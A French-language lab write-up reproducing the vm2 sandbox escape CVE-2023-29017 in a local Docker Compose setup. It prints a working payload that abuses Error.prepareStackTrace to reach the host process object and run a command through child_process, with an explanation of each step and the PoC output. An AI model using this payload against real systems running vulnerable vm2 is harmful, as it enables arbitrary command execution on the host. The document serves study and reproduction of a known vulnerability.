
Node.js vm2 CVE-2023-29017 reproduction avec Docker Compose et PoC
[WHS 4ème année 31ème classe] - 김건우(@gunwoo105)
vm2 est une bibliothèque de sandbox Node.js permettant d'exécuter du JavaScript non fiable dans un environnement restreint. Normalement, le code à l'intérieur du sandbox ne doit pas pouvoir accéder aux fonctionnalités sensibles de Node.js telles que process, require, child_process et le système de fichiers hôte.
Cependant, dans vm2 3.9.14 et versions antérieures, lorsque des erreurs asynchrones non gérées se produisent, les objets hôtes passés à Error.prepareStackTrace ne sont pas traités en toute sécurité. Un attaquant peut exploiter la chaîne de constructeurs de cet objet pour obtenir le constructeur Function du contexte hôte et l'objet process, et finalement exécuter des commandes système via child_process.
| Composant | Version et configuration |
|---|---|
| Node.js | 18.15.0 |
| vm2 | 3.9.14 |
| Version corrigée | 3.9.15 |
| Environnement d'exécution | Docker Compose |
| Utilisateur du conteneur | node |
| Port du service | 127.0.0.1:3000 |
| Installation des paquets | npm ci + package-lock.json |
Au lieu d'utiliser une image finale vulnérable, nous construisons directement l'image à partir de l'image de base officielle Node.js et du code source inclus dans le dépôt. Le Dockerfile vérifie les versions de Node.js et vm2 ; si les versions ne correspondent pas aux attentes, la construction échoue.
RUN test "$(node --version)" = "v18.15.0" \
&& test "$(node -p "require('vm2/package.json').version")" = "3.9.14"
| Fichier | Rôle |
|---|---|
docker-compose.yml | Définit la configuration et l'ordre d'exécution du service vulnérable et du conteneur PoC |
Dockerfile | Construit les images du service vulnérable et du PoC en mode multi-stage |
vulnerable/src/server.js | Fournit les endpoints /health, /execute, /evidence |
vulnerable/src/worker.js | Exécute l'entrée utilisateur dans vm2 dans un processus séparé |
poc/poc.js | Automatise la vérification de version, le contrôle bénin, l'attaque et la confirmation de preuve |
vulnerable/package-lock.json | Fixe les versions des paquets, y compris les dépendances transitives |
La raison pour laquelle worker.js est exécuté dans un processus séparé est que le PoC provoque des erreurs asynchrones non gérées. Même si le worker se termine pendant l'attaque, le serveur web continue de fonctionner, et le fichier marqueur permet de vérifier de manière fiable le succès.
Toutes les conditions suivantes doivent être remplies.
vm2 3.9.14 ou une version antérieure.Tous les services avec vm2 installé ne sont pas automatiquement exposés à une attaque à distance. Il doit exister une fonctionnalité permettant d'exécuter du code contrôlé par l'attaquant dans vm2. L'endpoint /execute de cet exercice implémente ce cas d'utilisation de manière minimale.
Le déroulement de l'attaque est le suivant :
JavaScript malveillant transmis
│
▼
Erreur asynchrone non gérée déclenchée
│
▼
Appel à Error.prepareStackTrace
│
▼
Exposition de l'objet frames hôte
│
▼
Obtention du constructeur Function hôte
│
▼
process → require → child_process
│
▼
Exécution de commande OS à l'intérieur du conteneur
docker compose build --no-cache

docker compose up -d vulnerable
Vérifiez l'état du conteneur.
docker compose ps
curl -sS \
-w '\nHTTP_STATUS=%{http_code}\n' \
<http://127.0.0.1:3000/health>

docker compose run --rm poc
echo "exit_code=$?"
Le PoC vérifie automatiquement les éléments suivants :
/tmp/vm2-pwneduid=Pour exécuter de la construction au PoC en une seule fois, utilisez la commande suivante :
docker compose up \
--build \
--abort-on-container-exit \
--exit-code-from poc
docker compose exec vulnerable sh -c '
echo "[Marker file]"
ls -l /tmp/vm2-pwned
echo
echo "[Command output]"
cat /tmp/vm2-pwned
'
docker compose down -v --rmi local --remove-orphans
Le PoC complet est inclus dans poc/poc.js. Le payload principal est le suivant :
Error.prepareStackTrace = (error, frames) => {
const hostProcess =
frames.constructor.constructor('return process')();
hostProcess.mainModule
.require('child_process')
.execSync('id > /tmp/vm2-pwned');
};
(async () => {}).constructor('return process')();
Error.prepareStackTraceError.prepareStackTrace = (error, frames) => {
L'attaquant redéfinit la fonction exécutée lorsque la pile d'appels d'erreur est générée.
Function hôteframes.constructor.constructor
Il suit la chaîne de constructeurs de l'objet frames hôte exposé par vm2 vulnérable pour accéder au constructeur Function du contexte hôte.
process hôteframes.constructor.constructor('return process')();
Crée et exécute une fonction qui retourne process dans le contexte hôte.
hostProcess.mainModule
.require('child_process')
.execSync('id > /tmp/vm2-pwned');
Charge child_process (non fourni à l'intérieur du sandbox) et exécute la commande Linux id.
(async () => {}).constructor('return process')();
Fait en sorte qu'une fonction asynchrone référence process (indisponible dans le sandbox), créant ainsi une promesse rejetée qui atteint le chemin de traitement de pile d'appels vulnérable.
[2/4] Running benign JavaScript inside vm2
Normal JavaScript returned 42 without host command execution
[3/4] Sending CVE-2023-29017 payload
Host command output: uid=1000(node) gid=1000(node) groups=1000(node)
Le PoC vérifie à nouveau la preuve stockée puis retourne l'état de succès.
[4/4] Confirming persisted evidence
[SUCCESS] CVE-2023-29017 reproduced: vm2 sandbox escape led to host command execution.
exit_code=0
